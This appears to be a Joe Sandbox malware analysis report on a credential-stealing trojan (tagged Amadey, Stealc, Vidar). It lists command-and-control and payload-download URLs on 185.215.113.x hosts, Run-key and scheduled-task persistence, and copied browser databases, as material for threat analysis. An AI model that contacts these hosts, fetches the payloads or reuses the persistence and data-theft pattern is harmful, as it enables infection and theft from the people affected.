https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	FHCGCFHDHIIIDGCAAEGDAFBFHD.0.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	000003.ldb.9.dr, e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpM	80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
https://y.music.163.com/m/	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
http://185.215.113.16/mine/random.exex	file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllV	file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dllL	file.exe, 00000000.00000002.2625469567.000000000130A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bard.google.com/	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2651081416.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, BFHDHJKKJDHJJJJKEGHI.0.dr	false		high
https://clients6.google.com	chromecache_467.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpV	80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206y	80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNs	000003.ldb.9.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://web.whatsapp.com	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.php_	80b5f835af.exe, 0000001D.00000002.3017859957.000000000121D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://m.kugou.com/	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://www.office.com	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://outlook.live.com/mail/0/	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/u	80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpg	80b5f835af.exe, 0000001D.00000002.3017859957.000000000121D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/4	80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E6D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpi	80b5f835af.exe, 0000001A.00000002.2874044959.000000000144D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://powerpoint.new?from=EdgeM365Shoreline	e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	false		high
https://web.skype.com/?	000003.ldb.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2625469567.0000000001327000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.22.200	unknown	United States	20940	AKAMAI-ASN1EU	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.186.33	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.206	play.google.com	United States	15169	GOOGLEUS	false
172.217.18.14	plus.l.google.com	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
142.250.186.132	www.google.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.122	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.6
127.0.0.1
192.168.2.23

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554385
Start date and time:	2024-11-12 13:34:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@89/247@35/19
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.18.3, 216.58.212.142, 74.125.206.84, 34.104.35.123, 142.250.181.227, 142.250.185.106, 142.250.184.202, 142.250.185.202, 172.217.16.202, 216.58.206.42, 142.250.186.170, 216.58.212.138, 142.250.186.106, 142.250.186.138, 142.250.186.42, 216.58.212.170, 216.58.206.74, 172.217.18.10, 142.250.185.234, 142.250.184.234, 142.250.181.234, 52.149.20.212, 142.250.185.170, 142.250.185.138, 142.250.185.74, 142.250.186.74, 192.229.221.95, 52.165.164.15, 2.22.50.131, 40.69.42.241, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 13.107.6.158, 2.19.126.152, 2.19.126.145, 48.209.164.47, 172.211.159.152, 104.124.11.224, 104.124.11.163, 2.23.209.189, 2.23.209.135, 2.23.209.143, 2.23.209.130, 2.23.209.140, 2.23.209.144, 2.23.209.137, 2.23.209.142, 2.23.209.149, 2.16.241.97, 2.16.241.76, 2.23.209.181, 2.23.209.183, 2.23.209.168, 2.23.209.175, 2.23.209.182, 2.23.209.173, 2.23.209.177, 2.23.209.176, 2.23.209.171, 13.74.129.1, 204.79.197.237, 13.107.21.237, 184.86.251.25,
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, p-static.bing.trafficmanager.net, iris-de-prod-azsc-v2-weu.westeurope.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, arc.msn.com, prod-agic-ne-4.n
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
07:35:34	API Interceptor	108x Sleep call for process: file.exe modified
07:36:01	API Interceptor	8390206x Sleep call for process: skotes.exe modified
13:35:53	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
13:36:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 80b5f835af.exe C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe
13:36:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 80b5f835af.exe C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe
13:36:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e8cb2646d2.exe C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe
13:36:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e8cb2646d2.exe C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	DEMASI-24-12B DOC. SCAN.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Setup.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	sora.arm.elf	Get hash	malicious	Mirai	Browse	20.45.5.185
	DEMASI-24-12B DOC. SCAN.exe	Get hash	malicious	GuLoader, Remcos	Browse	13.107.246.57
	main_x86.elf	Get hash	malicious	Mirai	Browse	20.6.130.111
	https://sharepoint-business.com/?rid=eprRhgr	Get hash	malicious	Unknown	Browse	13.107.246.45
	Scan_7341292.pdf	Get hash	malicious	HTMLPhisher	Browse	40.126.32.133
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.46.162.225
	EFT Remittance_(Rburt)CQDM.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	EFT Remittance_(Rburt)CQDM.html	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	209cf93b79fb8eacd8c4837dfc24f707d5f4a212.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Payment advice_USD75,230.18.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://sites.google.com/view/we2k-/home	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	173.222.162.64
	View Pdf Doc_8a3c334133bfb9605fc344b2f764ac62.htm	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	173.222.162.64
	Setup.exe	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://vinculocomputer.com/run/	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fthedailyparanoia%2Ecom%2F	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	https://fvggtrgtr57crthrvtrhrh.s3.us-east-2.amazonaws.com/u7yy78ty7t6fg67t676t/hg7g6g6gfvj5rfj/index.html	Get hash	malicious	Unknown	Browse	173.222.162.64
	test.html	Get hash	malicious	Unknown	Browse	173.222.162.64
	test.html	Get hash	malicious	Unknown	Browse	173.222.162.64
28a2c9bd18a11de089ef85a160da29e4	https://shorten.is/meta_copyright_support_teamt5256	Get hash	malicious	Unknown	Browse	13.107.246.45 184.28.90.27
	http://spain.recordsbluemountain.com	Get hash	malicious	Unknown	Browse	13.107.246.45 184.28.90.27
	http://sisteraboveaddition.com	Get hash	malicious	Unknown	Browse	13.107.246.45 184.28.90.27
	DEMASI-24-12B DOC. SCAN.exe	Get hash	malicious	GuLoader, Remcos	Browse	13.107.246.45 184.28.90.27
	https://phylluck.com/click.php?key=famxo5ii1wqu2yv482gl&SUB_ID_SHORT=cspjf15oqcd5r3d5kefg&PLACEMENT_ID=23442850&CAMPAIGN_ID=1156044&PUBLISHER_ID=464279&ZONE_ID=3918229&type=Push&age=0&creative_id=547903&campaign_id=111712&site_id=12702&placement_id=50523819&preset_id=547	Get hash	malicious	Unknown	Browse	13.107.246.45 184.28.90.27
	https://www.google.pl/url?url=http://msulrmrdjzsckgcdargfhi.com&nbq=tspwcyd&idbzok=wua&nbnak=ambmgo&lwf=vngmsem&q=amp/jdsra7r.ldn%C2%ADf%C2%ADpwlywydkjq%C2%ADuh%C2%ADf%C2%ADx%C2%AD.com/ufpd3kprb&xssr=zrcbvya&bhrswcv=abqvczic&clvu=wotwqzi&umasmoc=lhibfmio&tgek=sdcrupi&bpcjeel=qvmnlgnn&eign=czorcvw&txcfkja=lhtluzhk&zkmb=joyrkbk&mspp=frbfplx&ohrxtnn=emgsiphv&cbqf=eyyxrom&ngreupz=nzdjgaue&xtpz=fvqzpcq&spvwwuv=vijpphwi&wrjj=pklwpte&uuahvww=saaddjqz	Get hash	malicious	Unknown	Browse	13.107.246.45 184.28.90.27
	https://sharepoint-business.com/?rid=eprRhgr	Get hash	malicious	Unknown	Browse	13.107.246.45 184.28.90.27
	Scan_7341292.pdf	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45 184.28.90.27
	https://sites.google.com/view/we2k-/home	Get hash	malicious	Unknown	Browse	13.107.246.45 184.28.90.27
	Ref#2073306.vbe	Get hash	malicious	MicroClip	Browse	13.107.246.45 184.28.90.27
3b5074b1b5d032e5620f69f9f700ff0e	Booking_0731520.vbe	Get hash	malicious	AgentTesla	Browse	40.113.110.67 40.115.3.253
	https://shorten.is/meta_copyright_support_teamt5256	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253
	Fizetes_12112024.jpg.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.110.67 40.115.3.253
	#U00c1tutal#U00e1s-meger#U0151s#U00edt#U00e9se_469253,jpg.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.110.67 40.115.3.253
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	40.113.110.67 40.115.3.253
	Offer Document.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	40.113.110.67 40.115.3.253
	BL New Booking_ 021-34326093HL.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	40.113.110.67 40.115.3.253
	Malzeme i#U00e7in G#U00f6rsel Sipari#U015fler #PO160924R0 _323282.exe	Get hash	malicious	VIP Keylogger	Browse	40.113.110.67 40.115.3.253
	6DfHIXhWXp.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253
	YIU6wlOgnJ.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFHDHJKKJDHJJJJKEGHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CAFHDBGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676773289014729
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMsSA1LyKOMq+8iP5GDHP/0jMVumK:Kq+n0Js91LyKOMq+8iP5GLP/0T
MD5:	0180C7507C7DFBA7CBA9A9C6081D76DF
SHA1:	4A3A51DC5B1B208F700529569A1407262DEB937E
SHA-256:	374407D9E7EC4C73E2519721021E0A4F182D5C8306953385504E8E3E94E12E64
SHA-512:	75B6CD58A6ABB20889EE982E3E5442C677FC2B6529178BAEB98648D80A993462476D85553CE3DBA1A52A239F57E73F98D2F3EB849F0A94311EE7863B41B05393
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGIDGCGIEGDGDGDGHJKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHIJDHIDBGHJKECBFIIDAAEHJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHCGCFHDHIIIDGCAAEGDAFBFHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHIJJKE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
